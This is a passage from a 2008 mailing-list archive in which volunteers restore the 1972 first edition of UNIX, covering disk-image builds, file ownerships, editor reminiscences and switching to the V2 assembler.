	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
Message-ID: <20080505234948.GA17149@minnie.tuhs.org>

On Mon, May 05, 2008 at 04:09:49PM -0400, Michael Kerpan wrote:
> ed?

Yes, ed is already there and works. It means I now have to learn ed, something
I have avoided doing so far.

	Warren


From cowan at ccil.org  Tue May  6 12:16:17 2008
From: cowan at ccil.org (John Cowan)
Date: Mon, 5 May 2008 22:16:17 -0400
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505234948.GA17149@minnie.tuhs.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
Message-ID: <20080506021617.GN28125@mercury.ccil.org>

Warren Toomey scripsit:

> Yes, ed is already there and works. It means I now have to learn ed, something
> I have avoided doing so far.

You have?  But ed is the standard editor!

-- 
Mos Eisley spaceport.  You will never           John Cowan
see a more wretched hive of scum and            cowan at ccil.org
villainy -- unless you watch the                http://www.ccil.org/~cowan
Jerry Springer Show.   --georgettesworld.com


From wkt at tuhs.org  Tue May  6 12:31:02 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 12:31:02 +1000
Subject: [Unix-jun72] ed
In-Reply-To: <20080506021617.GN28125@mercury.ccil.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
	<20080506021617.GN28125@mercury.ccil.org>
Message-ID: <20080506023102.GA21567@minnie.tuhs.org>

Warren Toomey scripsit:
> I have avoided [learning ed] so far.
 
On Mon, May 05, 2008 at 10:16:17PM -0400, John Cowan wrote:
> You have?  But ed is the standard editor!

I got into UNIX by the time vi was around, so I missed out on ed.
	Warren


From cowan at ccil.org  Tue May  6 12:34:05 2008
From: cowan at ccil.org (John Cowan)
Date: Mon, 5 May 2008 22:34:05 -0400
Subject: [Unix-jun72] ed
In-Reply-To: <20080506023102.GA21567@minnie.tuhs.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
	<20080506021617.GN28125@mercury.ccil.org>
	<20080506023102.GA21567@minnie.tuhs.org>
Message-ID: <20080506023405.GO28125@mercury.ccil.org>

Warren Toomey scripsit:

> I got into UNIX by the time vi was around, so I missed out on ed.

I switched from ed to ex (I'll trade a little bit of tradition for increased
function) and have remained there ever since.  I switch ex to vi-mode very
occasionally -- I know the h, j, k, l, i, and x commands.

-- 
In politics, obedience and support      John Cowan <cowan at ccil.org>
are the same thing.  --Hannah Arendt    http://www.ccil.org/~cowan


From wkt at tuhs.org  Tue May  6 12:38:14 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 12:38:14 +1000
Subject: [Unix-jun72] Import V1 filesystem trees into svn?
Message-ID: <20080506023814.GA21907@minnie.tuhs.org>

I think it would be a good idea to import the V1 / and /usr filesystem from
the s2 tape into the subversion repository, so that we can write a tools/
script to build "known good" rf0.dsk and rk1.dsk disk images.

In my private tree I have 1root/ and 1usr/, but perhaps we should have
something like fs/root/ and fs/usr. They need to be split so that my
mkfs tool can build separate disk images.

Comments?
	Warren


From cowan at ccil.org  Tue May  6 12:16:17 2008
From: cowan at ccil.org (John Cowan)
Date: Mon, 5 May 2008 22:16:17 -0400
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505234948.GA17149@minnie.tuhs.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
Message-ID: <20080506021617.GN28125@mercury.ccil.org>

Warren Toomey scripsit:

> Yes, ed is already there and works. It means I now have to learn ed, something
> I have avoided doing so far.

You have?  But ed is the standard editor!

-- 
Mos Eisley spaceport.  You will never           John Cowan
see a more wretched hive of scum and            cowan at ccil.org
villainy -- unless you watch the                http://www.ccil.org/~cowan
Jerry Springer Show.   --georgettesworld.com


From newsham at lava.net  Tue May  6 12:48:46 2008
From: newsham at lava.net (Tim Newsham)
Date: Mon, 5 May 2008 16:48:46 -1000 (HST)
Subject: [Unix-jun72] Import V1 filesystem trees into svn?
In-Reply-To: <20080506023814.GA21907@minnie.tuhs.org>
References: <20080506023814.GA21907@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805051641230.20114@malasada.lava.net>

> I think it would be a good idea to import the V1 / and /usr filesystem from
> the s2 tape into the subversion repository, so that we can write a tools/
> script to build "known good" rf0.dsk and rk1.dsk disk images.

The rf0 disk is pretty manageable.  The rk0 disk is 2.5M and might
be a little big for putting into the SVN (download 2.5M any time
someone makes any changes to it)...   If its something that isn't
going to change, perhaps just putting "known good" disk images up
on the website would be better.  The google site lets us have a download
section, and then there's always TUHS...

I think the bigger question here is what do we want the standard disk
image to look like?  Are we building rf0 with s2/bin and s2/etc only?
Should it have the jun72 init on it?  the jun72 sh?  A "mount" utility?

Is rk0 a clean copy of s2/usr?  What about the files that mkfs can't
currently put on the system due to size?  What about file permissions?
Are we going to restore the old s2 permissions?  Will there be any
new versions or hacks applied?

Do we want to put up prebuilt kernels?  If so, which patches, if any,
should be applied?  If we put up a cold kernel I imagine we also want
to put up a tape to build rf0, and the same questions apply.

I imagine we want to have a script that autogenerates each of the
images that we intend to put up.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Tue May  6 12:57:44 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 12:57:44 +1000
Subject: [Unix-jun72] Import V1 filesystem trees into svn?
In-Reply-To: <Pine.BSI.4.64.0805051641230.20114@malasada.lava.net>
References: <20080506023814.GA21907@minnie.tuhs.org>
	<Pine.BSI.4.64.0805051641230.20114@malasada.lava.net>
Message-ID: <20080506025744.GA22678@minnie.tuhs.org>

On Mon, May 05, 2008 at 04:48:46PM -1000, Tim Newsham wrote:
> > I think it would be a good idea to import the V1 / and /usr filesystem from
> > the s2 tape into the subversion repository, so that we can write a tools/
> > script to build "known good" rf0.dsk and rk1.dsk disk images.
> 
> The rf0 disk is pretty manageable.  The rk0 disk is 2.5M and might
> be a little big for putting into the SVN

Sorry Tim. I meant putting the files which will go onto the images, not
the images themselves. Plus a tools/ script to build the images.

> I think the bigger question here is what do we want the standard disk
> image to look like?  Are we building rf0 with s2/bin and s2/etc only?
> Should it have the jun72 init on it?  the jun72 sh?  A "mount" utility?
> Will there be any new versions or hacks applied?

Perhaps we do the same as we have done with patches:

	fs/root == original files as per s2 tape
	fs/usr  == original files as per s2 tape
	fs/newfiles == new files to add to images
	fs/buildroot == modified root	(not in svn)
	fs/buildusr == modified usr	(not in svn)
	tools/xxx	== script to build root and usr
 
> What about the files that mkfs can't currently put on the system due to size?

Current mkfs can write all the s2 files, including the large ones.

> What about file permissions? Are we going to restore the old s2 permissions?

We can modify mkfs to restore uid, time and V1 permissions.

> Do we want to put up prebuilt kernels?

No, just document the method to build the kernels.

> I imagine we want to have a script that autogenerates each of the
> images that we intend to put up.

I think that's the way to go: a script to build a kernel + a set of
suitable tape/disk image files for it. Make it a top-level script
that calls next-level scripts, so that we can still run tools/assemv7
if we want to build a kernel and not build a filesystem.

	Warren


From brad at heeltoe.com  Tue May  6 13:01:15 2008
From: brad at heeltoe.com (Brad Parker)
Date: Mon, 05 May 2008 23:01:15 -0400
Subject: [Unix-jun72] ed
In-Reply-To: <20080506023102.GA21567@minnie.tuhs.org> 
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
	<20080506021617.GN28125@mercury.ccil.org>
	<20080506023102.GA21567@minnie.tuhs.org>
Message-ID: <11064.1210042875@mini>


Warren Toomey wrote:
>Warren Toomey scripsit:
>> I have avoided [learning ed] so far.
> 
>On Mon, May 05, 2008 at 10:16:17PM -0400, John Cowan wrote:
>> You have?  But ed is the standard editor!
>
>I got into UNIX by the time vi was around, so I missed out on ed.

I think I started around v6, because for some odd reason I can do 
ed in my sleep.  

playing with v1 I was shocked at how I just jumped right into ed,
typing things like "1,$p" on autopilot.

it was sort of scary :-) but it came back immediately.

I think at some point I spent some time with ex also, which was
sort of post ed, pre vi.  Maybe on sun-1's?  I can't remember, but
the commands seem to translate.

I can do vi but it's always a strain.  ed is less complex.

-brad



From brad at heeltoe.com  Tue May  6 13:05:54 2008
From: brad at heeltoe.com (Brad Parker)
Date: Mon, 05 May 2008 23:05:54 -0400
Subject: [Unix-jun72] Import V1 filesystem trees into svn?
In-Reply-To: <Pine.BSI.4.64.0805051641230.20114@malasada.lava.net> 
References: <20080506023814.GA21907@minnie.tuhs.org>
	<Pine.BSI.4.64.0805051641230.20114@malasada.lava.net>
Message-ID: <11158.1210043154@mini>


>
>The rf0 disk is pretty manageable.  The rk0 disk is 2.5M and might
>be a little big for putting into the SVN (download 2.5M any time
>someone makes any changes to it)... 

if you gzip the images they get  pretty small, like < 64k.

I'd put known good gzip versions in svn.

-brad


From cowan at ccil.org  Tue May  6 13:10:49 2008
From: cowan at ccil.org (John Cowan)
Date: Mon, 5 May 2008 23:10:49 -0400
Subject: [Unix-jun72] ed
In-Reply-To: <11064.1210042875@mini>
References: <20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
	<20080506021617.GN28125@mercury.ccil.org>
	<20080506023102.GA21567@minnie.tuhs.org> <11064.1210042875@mini>
Message-ID: <20080506031049.GP28125@mercury.ccil.org>

Brad Parker scripsit:

> I think at some point I spent some time with ex also, which was
> sort of post ed, pre vi.  Maybe on sun-1's?  I can't remember, but
> the commands seem to translate.

Ex and vi have always been twins; the ancestral form was em ("editor for
mortals"), which had the 1-line window (ex's o(pen) command) but not the
full screen.  Supposedly among em users, the name "ed" was retconned to
mean "editor for divinities".

> I can do vi but it's always a strain.  ed is less complex.

I'd like to switch to sam one day, but so far I haven't.

-- 
John Cowan  cowan at ccil.org   ccil.org/~cowan
Dievas dave dantis; Dievas duos duonos          --Lithuanian proverb
Deus dedit dentes; deus dabit panem             --Latin version thereof
Deity donated dentition;
  deity'll donate doughnuts                     --English version by Muke Tever
God gave gums; God'll give granary              --Version by Mat McVeagh


From jbeisser at gmail.com  Tue May  6 12:40:04 2008
From: jbeisser at gmail.com (Johan Beisser)
Date: Mon, 5 May 2008 19:40:04 -0700
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080506021617.GN28125@mercury.ccil.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
	<8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
	<20080505234948.GA17149@minnie.tuhs.org>
	<20080506021617.GN28125@mercury.ccil.org>
Message-ID: <ca9bbf9a0805051940x41de3f6aub80d18ced757aa10@mail.gmail.com>

On Mon, May 5, 2008 at 7:16 PM, John Cowan <cowan at ccil.org> wrote:
> Warren Toomey scripsit:
>
>
>  > Yes, ed is already there and works. It means I now have to learn ed, something
>  > I have avoided doing so far.
>
>  You have?  But ed is the standard editor!

....

I can use ed. I prefer vi.

perhaps grep should be put in there..

-- 
Johan Beisser
UNIX Contracting: infrastructure design, network security, disaster
planning and recovery


From wkt at tuhs.org  Tue May  6 16:53:29 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 16:53:29 +1000
Subject: [Unix-jun72] Import V1 filesystem trees into svn?
In-Reply-To: <20080506025744.GA22678@minnie.tuhs.org>
References: <20080506023814.GA21907@minnie.tuhs.org>
	<Pine.BSI.4.64.0805051641230.20114@malasada.lava.net>
	<20080506025744.GA22678@minnie.tuhs.org>
Message-ID: <20080506065329.GA32717@minnie.tuhs.org>

On Tue, May 06, 2008 at 12:57:44PM +1000, Warren Toomey wrote:
> Perhaps we do the same as we have done with patches:
> 
> 	fs/root == original files as per s2 tape
> 	fs/usr  == original files as per s2 tape
> 	fs/newfiles == new files to add to images
> 	fs/buildroot == modified root	(not in svn)
> 	fs/buildusr == modified usr	(not in svn)
> 	tools/xxx	== script to build root and usr

I've imported fs/root and fs/usr into the svn repository with the files from
the s2 tape, and fs/new has Tim's etc/init so far. I haven't written any
scripts to make filesystem images yet.

Rather than use the file owner/permissions on the fs/ files, I'll modify
mkfs.c to read a table a la the rawperms table in tools/mktape.py, so that
the exact owner/perms get put into the V1 filesystem images.

Cheers,
	Warren


From wes.parish at paradise.net.nz  Tue May  6 19:02:29 2008
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Tue, 06 May 2008 21:02:29 +1200
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505.155446.-692167945.imp@bsdimp.com>
References: <20080505192248.GA92582@freebie.xs4all.nl>
	<481F635A.40103@bitsavers.org>
	<20080505.155446.-692167945.imp@bsdimp.com>
Message-ID: <200805062102.30525.wes.parish@paradise.net.nz>

You could always port edlin to Unix Edition One ... ;)

And then there's always that sh-based relational dbms! ;)

Wesley Parish

On Tuesday 06 May 2008 09:54, M. Warner Losh wrote:
> In message: <481F635A.40103 at bitsavers.org>
>
>             Al Kossow <aek at bitsavers.org> writes:
> : Milo Velimirovic wrote:
> : > vi
> :
> : You're slowly converging on programs that MIGHT fit on an 11/20
>
> You mean like TECO?
>
> Warner
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72

-- 
Clinersterton beademung, with all of love - RIP James Blish
-----
Gaul is quartered into three halves.  Things which are 
impossible are equal to each other.  Guerrilla 
warfare means up to their monkey tricks. 
Extracts from "Schoolboy Howlers" - the collective wisdom 
of the foolish.
-----
Mau e ki, he aha te mea nui?
You ask, what is the most important thing?
Maku e ki, he tangata, he tangata, he tangata.
I reply, it is people, it is people, it is people.


From wkt at tuhs.org  Tue May  6 19:35:07 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 19:35:07 +1000
Subject: [Unix-jun72] mkfs.c modified to set correct file owner/perms
In-Reply-To: <20080506065329.GA32717@minnie.tuhs.org>
References: <20080506023814.GA21907@minnie.tuhs.org>
	<Pine.BSI.4.64.0805051641230.20114@malasada.lava.net>
	<20080506025744.GA22678@minnie.tuhs.org>
	<20080506065329.GA32717@minnie.tuhs.org>
Message-ID: <20080506093507.GA36397@minnie.tuhs.org>

On Tue, May 06, 2008 at 04:53:29PM +1000, Warren Toomey wrote:
> I've imported fs/root and fs/usr into the svn repository with the files from
> the s2 tape, and fs/new has Tim's etc/init so far. I haven't written any
> scripts to make filesystem images yet.

fs/Readme now contains the correct file permissions for the files on the
V1 filesystem images. mkfs.c now reads this file and uses it as required.
tools/imgbuild builds rf0.dsk and rk0.dsk, using the fs/ files. I decided
to turn off the "world write" flag on all the files: I can't see why any
files should be world writable.

Unfortunately, I had to use rsync in tools/imgbuild so that I could
stop the .svn/ directories being copied into the images. Let me know if
that is OK, or if we can do it without rsync.

Cheers,
	Warren


From wkt at tuhs.org  Tue May  6 19:59:20 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 19:59:20 +1000
Subject: [Unix-jun72] File ownerships
Message-ID: <20080506095920.GA36926@minnie.tuhs.org>

In the V1 filesystem, there are a few files are owned by users which are
not in the /etc/passwd or /etc/uids files:

xrwr-  6  2860  169 Mar  7 12:23 /bin/cal
xrwr-  4  7154   61 Jul 21 12:42 /bin/roff
-rwr- 28   304  448 Jun 30 20:31 /usr/lib/fr0.o
-rwr- 28 12222  449 Jun 30 20:37 /usr/lib/filib.a
-rwr- 28  9158  419 Jun 30 20:46 /usr/lib/libf.a
xrwr- 28  3462  491 Jul  1 16:35 /usr/fort/fc1
xrwr- 28  3238  498 Jul  1 16:35 /usr/fort/fc2
xrwr- 28  6840  505 Jul  1 16:35 /usr/fort/fc3
xrwr- 28  4918  519 Jul  1 16:35 /usr/fort/fc4

Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo)
wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I
propose the following:

 - add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as
   new files in fs/new. Thus jfo will own /bin/roff and ken will own
   /bin/cal
 - modify the permissions file so that the Fortran files which are
   uid 28 become uid 6 == ken.

Sound reasonable?

Cheers,
	Warren


From wkt at tuhs.org  Wed May  7 01:34:59 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 01:34:59 +1000
Subject: [Unix-jun72] V2 assembler can now build the kernel
Message-ID: <20080506153459.GA47796@minnie.tuhs.org>

Now that we have the V1 and V2 binaries in the svn tree, I thought I would
try to use the V2 assembler to build the kernel, instead of the V7 one.
After a bit of experimentation, I got it to work. It means we can remove
our dependency on the V7 assembler.

I've committed tools/assemv2, the script to build with V2 as, and a patch
to redefine $mount and $gtty.

It probably means that we could rebuild the kernel while running V1; I
haven't tried this as yet.

Cheers,
	Warren


From wkt at tuhs.org  Wed May  7 01:43:37 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 01:43:37 +1000
Subject: [Unix-jun72] Oddness
Message-ID: <20080506154337.GA48171@minnie.tuhs.org>

I just tried this command and got this output. Any ideas?

	Warren

# who bin
).. Jan  1 13:02:48
        b Dec 17 21:22:33
:. Jan  6 04:04:20
         Jan  1 00:00:00
s1c Jan  2 08:46:04
2cat Jan  1 15:35:29
        e Jan  2 08:27:52
chmod6 Dec  3 20:05:51
         Jan  1 00:00:00
        d Nov 24 08:05:49
:db Jan  1 18:01:07
         Jan  1 00:00:00
ds> Jan  9 10:39:19
         Jan  1 00:00:01
hoAe Jan  1 00:00:00
Bexit Jan  1 20:26:45
        n Jan  1 00:00:00
formF Dec 26 13:00:28
         Jan  1 00:00:01
        l Jan  1 00:00:00
Jlogin Jan  1 22:53:32
        i Jan  1 00:00:00
makiN Nov 24 06:05:45
        r Jan  1 00:00:01
        n Jan  1 00:00:00
Rod Jan  2 01:19:06
        w Jan  1 00:00:00
rmV Dec 20 04:59:37
         Jan  1 00:00:01
        s Nov 24 09:55:03
Zskip Jan  2 03:44:31
        a Jan  1 00:00:00
strip^ Jan 12 21:01:19
         Jan  1 00:00:01
mat Jan  2 09:58:53
btm Jan  2 06:10:31
         Jan  1 00:00:00
wcf Dec  4 02:01:29
        e Jan  1 00:00:01


From newsham at lava.net  Wed May  7 03:13:21 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 07:13:21 -1000 (HST)
Subject: [Unix-jun72] File ownerships
In-Reply-To: <20080506095920.GA36926@minnie.tuhs.org>
References: <20080506095920.GA36926@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805060712070.20114@malasada.lava.net>

> Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo)
> wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I
> propose the following:
>
> - add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as
>   new files in fs/new. Thus jfo will own /bin/roff and ken will own
>   /bin/cal
> - modify the permissions file so that the Fortran files which are
>   uid 28 become uid 6 == ken.
>
> Sound reasonable?

I don't mind some files being left "unowned", but if you're fairly
sure that the new ownership assignments reflected reality I'm not
opposed to having them changed in our patched system.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Wed May  7 03:19:39 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 07:19:39 -1000 (HST)
Subject: [Unix-jun72] V2 assembler can now build the kernel
In-Reply-To: <20080506153459.GA47796@minnie.tuhs.org>
References: <20080506153459.GA47796@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805060716240.20114@malasada.lava.net>

On Wed, 7 May 2008, Warren Toomey wrote:
> I've committed tools/assemv2, the script to build with V2 as, and a patch
> to redefine $mount and $gtty.

Great!  I'm not sure why, but previously it got the instruction at 
location "400" wrong, but with your patches it looks right.  I'm glad to 
get rid of the v7 assembler and would have prefered to use the v2 
assembler all along.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Wed May  7 03:21:29 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 07:21:29 -1000 (HST)
Subject: [Unix-jun72] Oddness
In-Reply-To: <20080506154337.GA48171@minnie.tuhs.org>
References: <20080506154337.GA48171@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805060720510.20114@malasada.lava.net>

> # who bin
> ).. Jan  1 13:02:48
>        b Dec 17 21:22:33

It's reading from "bin" (the directory) instead of /tmp/utmp.  Try "who 
/etc/passwd" for example.

Tim Newsham
http://www.thenewsh.com/~newsham/


From madcrow.maxwell at gmail.com  Wed May  7 03:19:47 2008
From: madcrow.maxwell at gmail.com (Michael Kerpan)
Date: Tue, 6 May 2008 13:19:47 -0400
Subject: [Unix-jun72] File ownerships
In-Reply-To: <Pine.BSI.4.64.0805060712070.20114@malasada.lava.net>
References: <20080506095920.GA36926@minnie.tuhs.org>
	<Pine.BSI.4.64.0805060712070.20114@malasada.lava.net>
Message-ID: <8dd2d95c0805061019oe7bd924v22ba96f75e981f85@mail.gmail.com>

Speaking of assigning some file ownerships to people who were
historcially involved in created Unix back at that point in time, have
we let any of them know about our successful ressurection? Maybe could
get ken or dmr to write a "preface" to the readme file that will
inevitably come into existance once we make together a "turnkey"
distro of this for folks to play with in SIMH or something?

On Tue, May 6, 2008 at 1:13 PM, Tim Newsham <newsham at lava.net> wrote:
> > Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo)
>  > wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I
>  > propose the following:
>  >
>  > - add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as
>  >   new files in fs/new. Thus jfo will own /bin/roff and ken will own
>  >   /bin/cal
>  > - modify the permissions file so that the Fortran files which are
>  >   uid 28 become uid 6 == ken.
>  >
>  > Sound reasonable?
>
>  I don't mind some files being left "unowned", but if you're fairly
>  sure that the new ownership assignments reflected reality I'm not
>  opposed to having them changed in our patched system.
>
>  >       Warren
>
>  Tim Newsham
>  http://www.thenewsh.com/~newsham/
>
>
> _______________________________________________
>  Unix-jun72 mailing list
>  Unix-jun72 at tuhs.org
>  https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>


From wkt at tuhs.org  Wed May  7 08:37:07 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 08:37:07 +1000
Subject: [Unix-jun72] File ownerships
In-Reply-To: <Pine.BSI.4.64.0805060712070.20114@malasada.lava.net>
References: <20080506095920.GA36926@minnie.tuhs.org>
	<Pine.BSI.4.64.0805060712070.20114@malasada.lava.net>
Message-ID: <20080506223707.GA73049@minnie.tuhs.org>

On Tue, May 06, 2008 at 07:13:21AM -1000, Tim Newsham wrote:
> I don't mind some files being left "unowned", but if you're fairly
> sure that the new ownership assignments reflected reality I'm not
> opposed to having them changed in our patched system.

I'm fairly sure they are OK.

> Speaking of assigning some file ownerships to people who were
> historcially involved in created Unix back at that point in time, have
> we let any of them know about our successful ressurection?

Back when we started, I e-mailed Dennis with a question and got an answer.
When we had success, I e-mailed him again, but no reply yet. I'll send
another note, and also ask him if he would write a preface; I'm sure he will.

Cheers,
	Warren


From wkt at tuhs.org  Wed May  7 08:38:44 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 08:38:44 +1000
Subject: [Unix-jun72] Oddness
In-Reply-To: <Pine.BSI.4.64.0805060720510.20114@malasada.lava.net>
References: <20080506154337.GA48171@minnie.tuhs.org>
	<Pine.BSI.4.64.0805060720510.20114@malasada.lava.net>
Message-ID: <20080506223844.GB73049@minnie.tuhs.org>

On Tue, May 06, 2008 at 07:21:29AM -1000, Tim Newsham wrote:
> > # who bin
> > ).. Jan  1 13:02:48
> >        b Dec 17 21:22:33
> 
> It's reading from "bin" (the directory) instead of /tmp/utmp.  Try "who 
> /etc/passwd" for example.

I'm a dill sometimes, and it was 1:43am im the morning. I'm burning the
candle at both ends a bit on this :)

Cheers,
	Warren


From wkt at tuhs.org  Wed May  7 08:41:52 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 08:41:52 +1000
Subject: [Unix-jun72] Import apout into svn?
Message-ID: <20080506224152.GA73261@minnie.tuhs.org>

Would people mind if I imported apout src code into svn under tools/?
It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it
might be good that you can get the latest version.

	Warren


From newsham at lava.net  Wed May  7 09:13:06 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 13:13:06 -1000 (HST)
Subject: [Unix-jun72] Import apout into svn?
In-Reply-To: <20080506224152.GA73261@minnie.tuhs.org>
References: <20080506224152.GA73261@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805061312520.20114@malasada.lava.net>

> Would people mind if I imported apout src code into svn under tools/?
> It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it
> might be good that you can get the latest version.

Yah, I think that would be fine and simplify our configuration a bit.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Wed May  7 09:13:06 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 13:13:06 -1000 (HST)
Subject: [Unix-jun72] Import apout into svn?
In-Reply-To: <20080506224152.GA73261@minnie.tuhs.org>
References: <20080506224152.GA73261@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805061312520.20114@malasada.lava.net>

> Would people mind if I imported apout src code into svn under tools/?
> It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it
> might be good that you can get the latest version.

Yah, I think that would be fine and simplify our configuration a bit.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Wed May  7 09:14:08 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 13:14:08 -1000 (HST)
Subject: [Unix-jun72] warning - removing files
Message-ID: <Pine.BSI.4.64.0805061313120.20114@malasada.lava.net>

I removed some older tools from the svn.  If you're still using them
and want to hold on to them, you might want to back up your copy
before updating, or pull old versions from svn (feel free to send
me questions if you are unsure how).

Assemv7 and assem went away as did dumpaout.py.

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Wed May  7 09:56:50 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 09:56:50 +1000
Subject: [Unix-jun72] Finally! CR/LF annoyance fixed
Message-ID: <20080506235650.GA75478@minnie.tuhs.org>

In the svn repository, patches/upcase.patch now fixes the kernel so
that CR is converted into LF. This means that you don't have to type ^J
in any more.

	Warren


From wkt at tuhs.org  Wed May  7 10:49:03 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 10:49:03 +1000
Subject: [Unix-jun72] irc channel for UNIX V1 effort
Message-ID: <20080507004903.GA77103@minnie.tuhs.org>

To help co-ordinate real-time effort, Tim & I thought we might use
irc.freenode.net, channel #unixv1. Please pop in and say hello!

	Warren


From wkt at tuhs.org  Wed May  7 11:33:59 2008
From: wkt at tuhs.org (Warren Toomey)
